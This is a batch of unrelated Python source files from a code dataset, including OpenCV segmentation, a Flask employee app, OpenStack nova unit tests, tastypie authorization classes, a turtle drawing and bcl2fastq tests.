#     ('black', np.array([52, 0, 0]), np.array([148, 74, 74]))]\ncolors = [('red', np.array([0, 187, 46]), np.array([179, 255, 132]) ),\n\t('blue', np.array([65, 69, 77]), np.array([142, 255, 255]) ),\n\t('yellow', np.array([0, 64, 146]), np.array([65, 255, 255]) ),\n\t('pink', np.array([159, 77, 113]), np.array([179, 212, 255]) ),\n\t('brown', np.array([16, 102, 42]), np.array([171, 255, 93]) ),\n\t('black', np.array([0, 0, 0]), np.array([179, 71, 67]) )]\n\n# creates color segmentation of the workspace.\ndef getShapes(image, h):\n    masks = []\n    for (c, l, u) in colors:\n        mask = cv2.inRange(h, l, u)\n        mod = morphologicalTrans(mask)\n        cv2.imshow('m',mask)\n        cv2.waitKey(1000)\n        cv2.imshow('mod',mod)\n        cv2.waitKey(1000)\n        masks.append(mod)\n\n    # # gets first shape from image\n    # shapes = cv2.bitwise_and(image, image, mask = masks[0])\n    #\n    # # gets resulting shapes and or with current shape.\n    # for i in range(1, len(masks)):\n    #     sh = cv2.bitwise_and(image, image, mask = masks[i])\n    #     # shapes = cv2.bitwise_or(shapes, shapes, mask = sh)\n    #     shapes = cv2.add(shapes, sh)\n    # cv2.imshow('cool',shapes)\n    # cv2.waitKey(1000)\n    return masks\n\ndef getCentroids2(shapes,frame):\n    i = 0\n    c = spotCentroid( shapes[i] )\n    print(c)\n\nlower_thresh = 40\ndef spotCentroid( mask ):\n    thresh = mask\n    #ret, thresh = cv2.threshold( mask, lower_thresh, 240, 0 )\n    contours, hierarchy = cv2.findContours( thresh, 1, 2 )\n\n    M = [cv2.moments(contours[i]) for i in range(0, len(contours))]\n    cx = [(int(m['m10'] / m['m00'])) for m in M]\n    cy = [(int(m['m01'] / m['m00'])) for m in M]\n    cen = list(zip(cx, cy))\n\n    cv2.drawContours(mask, contours, -1, (255, 0, 0), 2)\n    lineThickness = 6\n    for i in range(0, len(cx)):\n        cv2.line(mask, (cx[i], cy[i]), (cx[i] + 1, cy[i] + 1), (120, 120, 0), lineThickness)\n\n    cv2.imshow(\"Cool\", mask)\n    cv2.waitKey(2000)\n    return cen\n\n# gets the centroid from segmentation\ndef getCentroids(shapes, g):\n    ret, thresh = cv2.threshold(g, lower_thresh, 240, 0)\n    contours, hierarchy = cv2.findContours(thresh, 1, 2)\n\n    M = [cv2.moments(contours[i]) for i in range(0, len(contours))]\n    cx = [(int(m['m10'] / m['m00'])) for m in M]\n    cy = [(int(m['m01'] / m['m00'])) for m in M]\n    cen = list(zip(cx, cy))\n    return cen\n\n\n# processes all centroids for publishing\ndef xy_from_centroid(centroid_points):\n    result = list(map(camera_transfer, centroid_points))\n    return result\n\n\n# converts a centroid point to a camera function\ndef camera_transfer(centroid_point):\n    return centroid_point\n\ndef morphologicalTrans(mask):\n    # kernel = np.ones((5, 5), np.uint8)\n    # kernel = cv2.getStructuringElement(cv2.MORPH_CROSS, (3, 3))\n    kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(5,5))\n    # dilation = cv2.dilate(mask, kernel, iterations=2)\n    # erosion = cv2.erode(dilation, kernel, iterations=5)\n\n    # opening = cv2.morphologyEx(mask, cv2.MORPH_GRADIENT, kernel)\n    opening = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel )\n    # closing = cv2.morphologyEx(mask, cv2.MORPH_GRADIENT, kernel)\n    return opening\n\nif __name__ == '__main__':\n    centroid_from_Picture()\n    # try:\n    #     Centroid()\n    # except rospy.ROSInterruptException:\n    #     pass\n","sub_path":"CVStackTest.py","file_name":"CVStackTest.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"160712712","text":"from src.templating import Request, render_template\n\nlang = {\n    \"ru\": {\n        \"title\": \"Удалить сессию\",\n        \"route\": {\n            \"panel\": \"Панель управления\",\n            \"delete_session\": \"Удалить сессию\",\n        },\n    },\n}\n\n\nasync def response(request: Request) -> render_template:\n    request.session.clear()\n    return await render_template(\"route/panel/delete_session.html\", context={\n        \"lc\": lang[request.lang],\n    })\n","sub_path":"public/route/panel/delete_session.py","file_name":"delete_session.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"566157036","text":"class Solution:\r\n    def plusOne(self, digits: List[int]) -> List[int]:\r\n        number = 0\r\n        size = len(digits)-1\r\n        for i in range(len(digits)):\r\n            number += digits[i]*(10**size)\r\n            size -= 1\r\n        number += 1\r\n        output = []\r\n        output = list(map(int,str(number)))\r\n        return output\r\n","sub_path":"week1/1/1-5_신예준_20210705.py","file_name":"1-5_신예준_20210705.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"391878783","text":"#!/usr/bin/env python\n\n_test_x = r'''\n/var/tmp/5g.img\n 1 boot\n 1 root\n 1 *swap\n - home\n'''[1:]\n\n_client_a_a = r'''\n/dev/sda\n 2 boot\n 8 overlay\n64 root\n 8 *swap\n 8 home\n32 src\n 8 local\n - opt\n'''[1:]\n\n_client_b_a = _client_a_a.replace('/dev/sda', '/dev/sdb')\n\n_client_a_a0 = r'''\n/dev/sda\n 2 boot\n64 *root\n 8 *swap\n 8 *home\n32 *src\n 8 *local\n - *opt\n'''[1:]\n\n_client_b_a0 = _client_a_a0.replace('/dev/sda', '/dev/sdb')\n\n_client_a_a1 = r'''\n/dev/sda\n 2 boot\n - -\n'''[1:]\n\n_client_b_a1 = _client_a_a1.replace('/dev/sda', '/dev/sdb')\n\n_client_h2 = r'''\n/dev/sda\n 4 boot\n32 root\n 8 *swap\n 8 home\n16 src\n 8 local\n - opt\n'''[1:]\n\n_server_e = r'''\n/dev/sdc\n 1 boot\n 4 root\n 4 *swap\n 4 home\n - srv\n'''[1:]\n","sub_path":"data/partdata.py","file_name":"partdata.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"534972107","text":"from flask import render_template, flash, redirect, url_for, request\nfrom flask_login import current_user, login_user, login_required, logout_user\nfrom werkzeug.urls import url_parse\nfrom app import db, app\nfrom app.forms import LoginForm, RegistrationForm, EmpForm, UpdateEmpForm\nfrom app.models import Admin, Employee\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n    employees = Employee.query.all()\n    return render_template('index.html', title='Home', employees=employees)\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if current_user.is_authenticated:\n        return redirect(url_for('index'))\n    form = LoginForm()\n    if form.validate_on_submit():\n        user = Admin.query.filter_by(email=form.email.data).first()\n        if user is None or not user.check_password(form.password.data):\n            flash('Invalid email or password', 'danger')\n            return redirect(url_for('login'))\n        login_user(user, remember=form.remember_me.data)\n        next_page = request.args.get('next')\n        if not next_page or url_parse(next_page).netloc != '':\n            next_page = url_for('index')\n        return redirect(next_page)\n    return render_template('login.html', title='Sign In', form=form)\n\n\n@app.route('/logout')\ndef logout():\n    logout_user()\n    return redirect(url_for('index'))\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n    if current_user.is_authenticated:\n        return redirect(url_for('index'))\n    form = RegistrationForm()\n    if form.validate_on_submit():\n        admin = Admin(email=form.email.data)\n        admin.set_password(form.password.data)\n        db.session.add(admin)\n        db.session.commit()\n        flash('Congratulations, you are now an Admin', 'success')\n        return redirect(url_for('login'))\n    return render_template('register.html', title='Register', form=form)\n\n\n@app.route('/add_emp', methods=['GET', 'POST'])\n@login_required\ndef add_emp():\n    form = EmpForm()\n    if form.validate_on_submit():\n        employee = Employee(email=form.email.data,\n                            name=form.name.data,\n                            phone=form.phone.data,\n                            location=form.location.data,\n                            salary=form.salary.data)\n        db.session.add(employee)\n        db.session.commit()\n        flash('Employee added', 'success')\n        return redirect(url_for('index'))\n    return render_template('add_emp.html', title='Add Employee', form=form)\n\n\n@app.route(\"/employee/<int:id>\")\ndef employee(id):\n    employee = Employee.query.get_or_404(id)\n    return render_template('employee.html',\n                           title=employee.name,\n                           employee=employee)\n\n\n@app.route(\"/employee/<int:id>/update\", methods=['GET', 'POST'])\n@login_required\ndef update_emp(id):\n    employee = Employee.query.get_or_404(id)\n\n    form = UpdateEmpForm()\n\n    if form.validate_on_submit():\n\n        email = form.email.data\n        phone = form.phone.data\n        location = form.location.data\n        name = form.name.data\n        salary = form.salary.data\n\n        data_updated = False\n        data_valid = True\n\n        if email != employee.email:\n            if Employee.query.filter_by(email=email).first() is not None:\n                form.email.errors.append(\"Email already exist.\")\n                data_valid = False\n            else:\n                employee.email = email\n                data_updated = True\n\n        if phone != employee.phone:\n            if Employee.query.filter_by(phone=phone).first() is not None:\n                form.phone.errors.append(\"Phone No already exist.\")\n                data_valid = False\n            else:\n                employee.phone = phone\n                data_updated = True\n\n        if location != employee.location or salary != employee.salary \\\n                or employee.name != name:\n            data_updated = True\n\n        if data_updated and data_valid:\n            employee.location = location\n            employee.salary = salary\n            employee.name = name\n            db.session.commit()\n            flash('Employee details updated', 'success')\n            return redirect(url_for('employee', id=id))\n\n    elif request.method == 'GET':\n        form.name.data = employee.name\n        form.email.data = employee.email\n        form.phone.data = employee.phone\n        form.location.data = employee.location\n        form.salary.data = employee.salary\n    return render_template('add_emp.html', title='Update Post',\n                           form=form,)\n\n\n@app.route(\"/employee/<int:id>/delete\", methods=['GET', 'POST'])\n@login_required\ndef delete_emp(id):\n    employee = Employee.query.get_or_404(id)\n    db.session.delete(employee)\n    db.session.commit()\n    message = str(employee.name) + ' has been deleted!'\n    flash(message, 'success')\n    return redirect(url_for('index'))\n","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"257893681","text":"from puzzle import GameGrid\nfrom agent import *\nimport matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\nimport numpy as np\n\ndef main():\n    existingAgent1 = None\n    with open(\"TrainingPartialCountRunner_100_20_4_5.pickle\", 'rb') as f:\n        existingAgent0 = pickle.load(f)\n\n    with open(\"ULRD_trained_model_20_game_layers_32_16.pickle\", 'rb') as f:\n        existingAgent1 = pickle.load(f)\n\n    with open(\"ULRD_trained_model_20_game_layers_64_16.pickle\", 'rb') as f:\n        existingAgent2 = pickle.load(f)\n\n    with open(\"ULRD_trained_model_20_game_layers_64_16_8.pickle\", 'rb') as f:\n        existingAgent3 = pickle.load(f)\n\n    with open(\"ULRD_trained_model_20_game_layers_64_32_8.pickle\", 'rb') as f:\n        existingAgent4 = pickle.load(f)\n\n    with open(\"ULRD_trained_model_20_game_layers_64.pickle\", 'rb') as f:\n        existingAgent5 = pickle.load(f)\n\n\n    agentDict = {1: RandomAgent(None, waitTime=0), 2: PatternAgentULRD(None, waitTime=0), 0: existingAgent0, 3: DNNAgent(None, waitTime=0, trainName=\"ULRD_train.pickle\"), 4 : existingAgent1, 5 : existingAgent2, 6 : existingAgent2, 7 : existingAgent2, 8 : existingAgent2}\n    agentDescription = {1: \"Random\", 2: \"Up-Left-Right-Down\", 0: \"Online learning NN\", 3: \"DNN Agent\", 4: \"DNN Agent with layers [32, 16]\", 5: \"DNN Agent with layers [64, 16]\", 6: \"DNN Agent with layers [64, 16, 8]\", 7: \"DNN Agent with layers [64, 32, 8]\", 8: \"DNN Agent with layers [64]\"}\n    agentScoreDict = {1: [], 2: [], 0: [], 3: [], 4: [], 5: [], 6: [], 7: [], 8: []}\n    agentColors = {1: \"b\", 2: \"r\", 0: \"#1f004d\", 3: \"g\", 4: \"c\", 5: \"m\", 6: \"y\",7: \"k\",8: \"#3CFE6E\"}\n\n    gameIDs = []\n    for i in range (0, 15):\n        gameIDs.append(i)\n        random.seed(i)\n        for (agentKey, agent) in agentDict.items():\n            gamegrid = GameGrid()\n            gamegrid.hide()\n            gamegrid.setAgent(agent)\n            agent.setGameGrid(gamegrid)\n            gamegrid.mainloop()\n            agentScoreDict[agentKey].append(sumScoreMatrix(gamegrid.matrix))\n            print(agentScoreDict[agentKey])\n            agent.reset()\n\n    plotTrainingRecord(gameIDs, agentDict, agentDescription, agentScoreDict, agentColors)\n\n\n\ndef sumScoreMatrix(mat):\n    sum = 0\n    for i in range(4):\n        for j in range(4):\n            sum += mat[i][j]\n    return sum\n\ndef plotTrainingRecord(gameIDs, agentDict, agentSummarys, agentScoreDict, agentColors):\n    ind = np.arange(len(gameIDs))\n    fig, ax = plt.subplots()\n    x = agentDict.keys()\n\n    offset = 0\n    for key in x:\n        ax.bar(ind + offset, agentScoreDict[key], width=0.1,color=agentColors[key])\n        offset += 0.11\n\n    ax.legend(agentColors.values(), agentSummarys.values())\n\n    ax.autoscale_view()\n\n    custom_lines = [Line2D([0], [0], color=agentColors[1], lw=4),\n                    Line2D([0], [0], color=agentColors[2], lw=4),\n                    Line2D([0], [0], color=agentColors[0], lw=4),\n                    Line2D([0], [0], color=agentColors[3], lw=4),\n                    Line2D([0], [0], color=agentColors[4], lw=4),\n                    Line2D([0], [0], color=agentColors[5], lw=4),\n                    Line2D([0], [0], color=agentColors[6], lw=4),\n                    Line2D([0], [0], color=agentColors[7], lw=4),\n                    Line2D([0], [0], color=agentColors[8], lw=4)]\n\n    fig, ax = plt.subplots()\n    ax.legend(custom_lines, agentSummarys.values())\n\n    plt.show()\n\nmain()","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"433010999","text":"# Copyright 2014: Mirantis Inc.\n# All Rights Reserved.\n#\n#    Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n#    not use this file except in compliance with the License. You may obtain\n#    a copy of the License at\n#\n#         http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n#    License for the specific language governing permissions and limitations\n#    under the License.\n\n\nimport mock\n\nfrom oslotest import mockpatch\n\nfrom cloudferrylib.os.compute import nova_compute\nfrom novaclient.v1_1 import client as nova_client\nfrom tests import test\n\n\nFAKE_CONFIG = {'user': 'fake_user',\n               'password': 'fake_password',\n               'tenant': 'fake_tenant',\n               'host': '1.1.1.1'}\n\n\nclass NovaComputeTestCase(test.TestCase):\n    def setUp(self):\n        super(NovaComputeTestCase, self).setUp()\n\n        self.mock_client = mock.MagicMock()\n        self.nc_patch = mockpatch.PatchObject(nova_client, 'Client',\n                                              new=self.mock_client)\n        self.useFixture(self.nc_patch)\n        self.nova_client = nova_compute.NovaCompute(FAKE_CONFIG)\n\n        self.fake_instance_0 = mock.Mock()\n        self.fake_instance_1 = mock.Mock()\n        self.fake_instance_0.id = 'fake_instance_id'\n\n        self.fake_getter = mock.Mock()\n\n        self.fake_flavor_0 = mock.Mock()\n        self.fake_flavor_1 = mock.Mock()\n\n    def test_get_nova_client(self):\n        # To check self.mock_client call only from this test method\n        self.mock_client.reset_mock()\n\n        client = self.nova_client.get_nova_client(FAKE_CONFIG)\n\n        self.mock_client.assert_called_once_with('fake_user', 'fake_password',\n                                                 'fake_tenant',\n                                                 'http://1.1.1.1:35357/v2.0/')\n        self.assertEqual(self.mock_client(), client)\n\n    def test_create_instance(self):\n        self.mock_client().servers.create.return_value = self.fake_instance_0\n\n        instance_id = self.nova_client.create_instance(name='fake_instance',\n                                                       image='fake_image',\n                                                       flavor='fake_flavor')\n\n        self.assertEqual('fake_instance_id', instance_id)\n\n    def test_get_instances_list(self):\n        fake_instances_list = [self.fake_instance_0, self.fake_instance_1]\n        self.mock_client().servers.list.return_value = fake_instances_list\n\n        instances_list = self.nova_client.get_instances_list()\n\n        test_args = {'marker': None,\n                     'detailed': True,\n                     'limit': None,\n                     'search_opts': None}\n        self.mock_client().servers.list.assert_called_once_with(**test_args)\n        self.assertEqual(fake_instances_list, instances_list)\n\n    def test_get_status(self):\n        self.fake_getter.get('fake_id').status = 'start'\n\n        status = self.nova_client.get_status(self.fake_getter, 'fake_id')\n\n        self.assertEqual('start', status)\n\n    def test_change_status_start(self):\n        self.nova_client.change_status('start', instance=self.fake_instance_0)\n        self.fake_instance_0.start.assert_called_once_with()\n\n    def test_change_status_stop(self):\n        self.nova_client.change_status('stop', instance=self.fake_instance_0)\n        self.fake_instance_0.stop.assert_called_once_with()\n\n    def test_change_status_resume(self):\n        self.nova_client.change_status('resume', instance=self.fake_instance_0)\n        self.fake_instance_0.resume.assert_called_once_with()\n\n    def test_change_status_paused(self):\n        self.nova_client.change_status('paused', instance=self.fake_instance_0)\n        self.fake_instance_0.pause.assert_called_once_with()\n\n    def test_change_status_unpaused(self):\n        self.nova_client.change_status('unpaused',\n                                       instance=self.fake_instance_0)\n        self.fake_instance_0.unpause.assert_called_once_with()\n\n    def test_change_status_suspend(self):\n        self.nova_client.change_status('suspend',\n                                       instance=self.fake_instance_0)\n        self.fake_instance_0.suspend.assert_called_once_with()\n\n    def test_change_status_same(self):\n        self.mock_client().servers.get('fake_instance_id').status = 'stop'\n\n        self.nova_client.change_status('stop', instance=self.fake_instance_0)\n        self.assertFalse(self.fake_instance_0.stop.called)\n\n    def test___get_disk_path_ephemeral(self):\n        fake_instance_inf = {'id': 'fake_id'}\n        fake_blk_list = [\n            \"compute/%s%s\" % (fake_instance_inf['id'], '_fake_disk')]\n        disk_path = self.nova_client._NovaCompute__get_disk_path(\n            'fake_disk',\n            fake_blk_list,\n            fake_instance_inf,\n            is_ceph_ephemeral=True)\n\n        self.assertEqual('compute/fake_id_fake_disk', disk_path)\n\n    def test_get_flavor_from_id(self):\n        self.mock_client().flavors.get.return_value = self.fake_flavor_0\n\n        flavor = self.nova_client.get_flavor_from_id('fake_flavor_id')\n\n        self.assertEqual(self.fake_flavor_0, flavor)\n\n    def test_get_flavor_list(self):\n        fake_flavor_list = [self.fake_flavor_0, self.fake_flavor_1]\n        self.mock_client().flavors.list.return_value = fake_flavor_list\n\n        flavor_list = self.nova_client.get_flavor_list()\n\n        self.assertEqual(fake_flavor_list, flavor_list)\n\n    def test_create_flavor(self):\n        self.mock_client().flavors.create.return_value = self.fake_flavor_0\n\n        flavor = self.nova_client.create_flavor()\n\n        self.assertEqual(self.fake_flavor_0, flavor)\n\n    def test_delete_flavor(self):\n        self.nova_client.delete_flavor('fake_fl_id')\n\n        self.mock_client().flavors.delete.assert_called_once_with('fake_fl_id')\n","sub_path":"tests/cloudferrylib/os/compute/test_nova.py","file_name":"test_nova.py","file_ext":"py","file_size_in_byte":6049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"198001693","text":"from tastypie.authorization import Authorization\nfrom tastypie.exceptions import Unauthorized\n\n\n# adapted from http://django-tastypie.readthedocs.org/en/latest/authorization.html\n#\n# Usage:\n# class ApiResource(ModelResource):\n#     class Meta:\n#         queryset = model_name.objects.all()\n#         authorization = OwnerAuthorization('model_owner_attribute')\n#\n# TODO: This class is duplicated in mrvapi/v1.py and can be consolidated to one Django application\nclass OwnerAuthorization(Authorization):\n    def __init__(self, filter):\n        # This Authorization class receives a string in the constructor\n        # This string identifies the object member that should be compared against bundle.request.user\n        self.filter = filter\n        self.filter_list = filter.split('__')\n        self.filter_dict = {filter: None}\n\n    def read_list(self, object_list, bundle):\n        # This assumes a ``QuerySet`` from ``ModelResource``.\n        self.filter_dict[self.filter] = bundle.request.user\n        return object_list.filter(**self.filter_dict)\n\n    def read_detail(self, object_list, bundle):\n        # Is the requested object owned by the user?\n        owner = bundle.obj\n        for filter in self.filter_list:  # works recursively, climbing up FK relations to get owner\n            owner = getattr(owner, filter)\n\n        # while this does return False for un-authorized users, and SHOULD work according to documentation -- it does NOT.\n        #    return owner == bundle.request.user  # This False is ignored; anyone could see object(s)\n        # This comment should remain until upstream issue can be filed/reviewed by tastypie project maintainer\n        # We must rather raise an exception:\n        if not owner == bundle.request.user:\n            raise Unauthorized(\"You do not have access to this resource.\")\n        return True\n\n    def create_list(self, object_list, bundle):\n        # Assuming they are already assigned to ``user``.\n        return object_list\n\n    def create_detail(self, object_list, bundle):\n        # 1- get the related owner of the object from a filter like 'parcel__project__owner'\n        # owner = bundle.obj\n        # for filter in self.filter_list:\n        #     owner = getattr(owner, filter)\n        # expected result:\n        #   owner => bundle.obj.parcel.project.owner\n        # actual result:\n        #   File \"C:\\python27\\lib\\site-packages\\django\\db\\models\\fields\\related.py\", line 387, in __get__\n        #   raise self.field.rel.to.DoesNotExist\n        #   DoesNotExist\n        # 2- compare owner with user request\n        # return owner == bundle.request.user\n\n        # cannot get working, will have to authorize all POSTs in interim -- unsecure\n        return True\n\n    def update_list(self, object_list, bundle):\n        allowed = []\n\n        # Since they may not all be saved, iterate over them.\n        for obj in object_list:\n            if getattr(obj, self.filter) == bundle.request.user:\n                allowed.append(obj)\n\n        return allowed\n\n    def update_detail(self, object_list, bundle):\n        # Is the requested object owned by the user?\n        owner = bundle.obj\n        for filter in self.filter_list:\n            owner = getattr(owner, filter)\n        if not owner == bundle.request.user:\n            raise Unauthorized(\"You do not have access to this resource.\")\n        return True\n\n    def delete_list(self, object_list, bundle):\n        allowed = []\n\n        for obj in object_list:\n            if getattr(obj, self.filter) == bundle.request.user:\n                allowed.append(obj)\n\n        return allowed\n\n    def delete_detail(self, object_list, bundle):\n        # Is the requested object owned by the user?\n        owner = bundle.obj\n        for filter in self.filter_list:\n            owner = getattr(owner, filter)\n        if not owner == bundle.request.user:\n            raise Unauthorized(\"You do not have access to this resource.\")\n        return True\n\n\n# adapted from http://django-tastypie.readthedocs.org/en/latest/authorization.html\nclass OwnerAuthorizationWithPublic(OwnerAuthorization):\n    def read_list(self, object_list, bundle):\n        # This assumes a ``QuerySet`` from ``ModelResource``.\n        self.filter_dict[self.filter] = bundle.request.user\n        owners_list = object_list.filter(**self.filter_dict)\n        public_list = object_list.filter(public=True)\n        return (owners_list | public_list)\n\n    def read_detail(self, object_list, bundle):\n        # Is the requested object owned by the user?  or is it public?\n        owner = bundle.obj\n        for filter in self.filter_list:  # works recursively, climbing up FK relations to get owner\n            owner = getattr(owner, filter)\n        if (not bundle.obj.public) and (owner != bundle.request.user):\n            raise Unauthorized(\"You do not have access to this resource.\")\n        return True\n","sub_path":"mrvapi/v1auth.py","file_name":"v1auth.py","file_ext":"py","file_size_in_byte":4869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"654026306","text":"import turtle\nimport random\nimport math\n\n\nclass ConfettiDrawer(object):\n    def __init__(self):\n        self.Mark = turtle.Turtle()\n        self.Mark.speed(0)\n        self.screen = turtle.Screen()\n        self.circle_list = []\n        self.circle_number = 10000\n        self.radius = 25\n        self.counter = 0\n        self.generate_circles()\n        self.screen.exitonclick()\n\n    def check_intersection(self, coordinates):\n        intersection = True\n        for circle in self.circle_list:\n            if math.sqrt((coordinates[0]-circle[0])**2 + (coordinates[1]-circle[1])**2) >= 2*self.radius:\n                pass\n            else:\n                intersection = False\n                self.counter += 1\n        return intersection\n\n    def generate_circles(self):\n        counter = 0\n        while counter < self.circle_number:\n            if self.counter > self.circle_number*100:\n                break\n            x = random.randint(self.radius-650, 650-self.radius)\n            y = random.randint(self.radius-335, 335-self.radius)\n            coordinates = [x, y]\n            if self.check_intersection(coordinates):\n                counter += 1\n                self.circle_list.append(coordinates)\n                self.Mark.penup()\n                self.Mark.goto(x, y)\n                self.Mark.pendown()\n                self.Mark.dot(self.radius*2, \"#\" + \"%06x\" % random.randint(0, 0xFFFFFF))\n\n\n\napp = ConfettiDrawer()\n","sub_path":"SmallProjects/NonOverlapping.py","file_name":"NonOverlapping.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"125877254","text":"import unittest\nimport os\nimport csv\nimport json\nfrom argparse import Namespace\nimport odybcl2fastq.util as util\nimport odybcl2fastq.run as run\nimport odybcl2fastq.parsers.parse_sample_sheet as ss\n\nclass Odybcl2fastqTests(unittest.TestCase):\n\n    def setUp(self):\n        self.sample_data_dir = (os.path.abspath( os.path.dirname( __file__ ) ) +\n        '/sample_data/')\n\n    def tearDown(self):\n        pass\n\n    def test_sheet_parse(self):\n        sample_sheet_path = 'tests/sample_data/SampleSheet.csv'\n        sample_sheet = ss.sheet_parse(sample_sheet_path)\n        parts = ['Header', 'Reads', 'Settings', 'Data']\n        for part in parts:\n            assert (part in sample_sheet and sample_sheet[part])\n\n    def test_get_instrument(self):\n        run_info = 'tests/sample_data/RunInfo.xml'\n        sample_sheet_path = 'tests/sample_data/SampleSheet.json'\n        sample_sheet = util.load_json(sample_sheet_path)\n        instrument =  ss.get_instrument(sample_sheet['Data'])\n        assert instrument == 'hiseq'\n\n    def test_extract_basemasks(self):\n        run_info = 'tests/sample_data/RunInfo.xml'\n        instrument = 'hiseq'\n        # json does not give ordered results\n        sample_sheet_path = 'tests/sample_data/SampleSheet.csv'\n        sample_sheet = ss.sheet_parse(sample_sheet_path)\n        mask_lists, mask_samples =  run.extract_basemasks(sample_sheet['Data'], run_info, instrument)\n        mask_lists_control = {'y26,i8,y134': ['1:y26,i8,y134', '2:y26,i8,y134']}\n        assert (mask_lists == mask_lists_control)\n\n    def test_build_cmd(self):\n        mask_list = ['1:y26,i8,y134', '2:y26,i8,y134']\n        instrument = 'hiseq'\n        args = Namespace(BCL_ADAPTER_STRINGENCY=0.90000000000000002, BCL_BARCODE_MISMATCHES=0,\n            BCL_CREATE_INDEXREAD_FASTQ=False, BCL_FASTQ_COMPRESSION_LEVEL=4,\n            BCL_FIND_ADAPTERS_SLIDING_WINDOW=False, BCL_IGNORE_MISSING_BCLS=True,\n            BCL_IGNORE_MISSING_FILTER=True, BCL_IGNORE_MISSING_POSITIONS=True,\n            BCL_MASK_SHORT_ADAPTER_READS=22, BCL_MINIMUM_TRIMMED_READ_LENGTH=0,\n            BCL_NO_BGZF=False, BCL_NO_LANE_SPLITTING=True,\n            BCL_OUTPUT_DIR='/n/ngsdata/odybcl2fastq_test/test_run',\n            BCL_PROC_THREADS=8,\n            BCL_RUNFOLDER_DIR='/n/boslfs/INSTRUMENTS/illumina/test_run',\n            BCL_SAMPLE_SHEET='/n/boslfs/INSTRUMENTS/illumina/test_run/SampleSheet_new.csv',\n            BCL_TILES=False, BCL_WITH_FAILED_READS=False,\n            BCL_WRITE_FASTQ_REVCOMP=False,\n            RUNINFO_XML='/n/boslfs/INSTRUMENTS/illumina/test_run/RunInfo.xml',\n            TEST=True\n        )\n        switches_to_names = {('--with-failed-reads',): 'BCL_WITH_FAILED_READS',\n                ('--adapter-stringency',): 'BCL_ADAPTER_STRINGENCY', ('-p',\n                    '--processing-threads'): 'BCL_PROC_THREADS', ('-o',\n                        '--output-dir'): 'BCL_OUTPUT_DIR',\n                    ('--find-adapters-with-sliding-window',):\n                    'BCL_FIND_ADAPTERS_SLIDING_WINDOW',\n                    ('--barcode-mismatches',): 'BCL_BARCODE_MISMATCHES',\n                    ('--ignore-missing-positions',):\n                    'BCL_IGNORE_MISSING_POSITIONS', ('--no-bgzf-compression',):\n                    'BCL_NO_BGZF', ('--sample-sheet',): 'BCL_SAMPLE_SHEET',\n                    ('--mask-short-adapter-reads',):\n                    'BCL_MASK_SHORT_ADAPTER_READS',\n                    ('--minimum-trimmed-read-length',):\n                    'BCL_MINIMUM_TRIMMED_READ_LENGTH',\n                    ('--ignore-missing-bcls',): 'BCL_IGNORE_MISSING_BCLS',\n                    ('-R', '--runfolder-dir'): 'BCL_RUNFOLDER_DIR',\n                    ('--create-fastq-for-index-reads',):\n                    'BCL_CREATE_INDEXREAD_FASTQ',\n                    ('--write-fastq-reverse-complement',):\n                    'BCL_WRITE_FASTQ_REVCOMP', ('--no-lane-splitting',):\n                    'BCL_NO_LANE_SPLITTING', ('--tiles',): 'BCL_TILES',\n                    ('--ignore-missing-filter',): 'BCL_IGNORE_MISSING_FILTER',\n                    ('--fastq-compression-level',):\n                    'BCL_FASTQ_COMPRESSION_LEVEL'\n        }\n        run_type = None\n        cmd_path = 'tests/sample_data/cmd.json'\n        cmd_control = util.load_json(cmd_path)\n        cmd = run.bcl2fastq_build_cmd(args,\n                switches_to_names, mask_list, instrument, run_type)\n        assert cmd == cmd_control\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"tests/odybcl2fastq_tests.py","file_name":"odybcl2fastq_tests.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
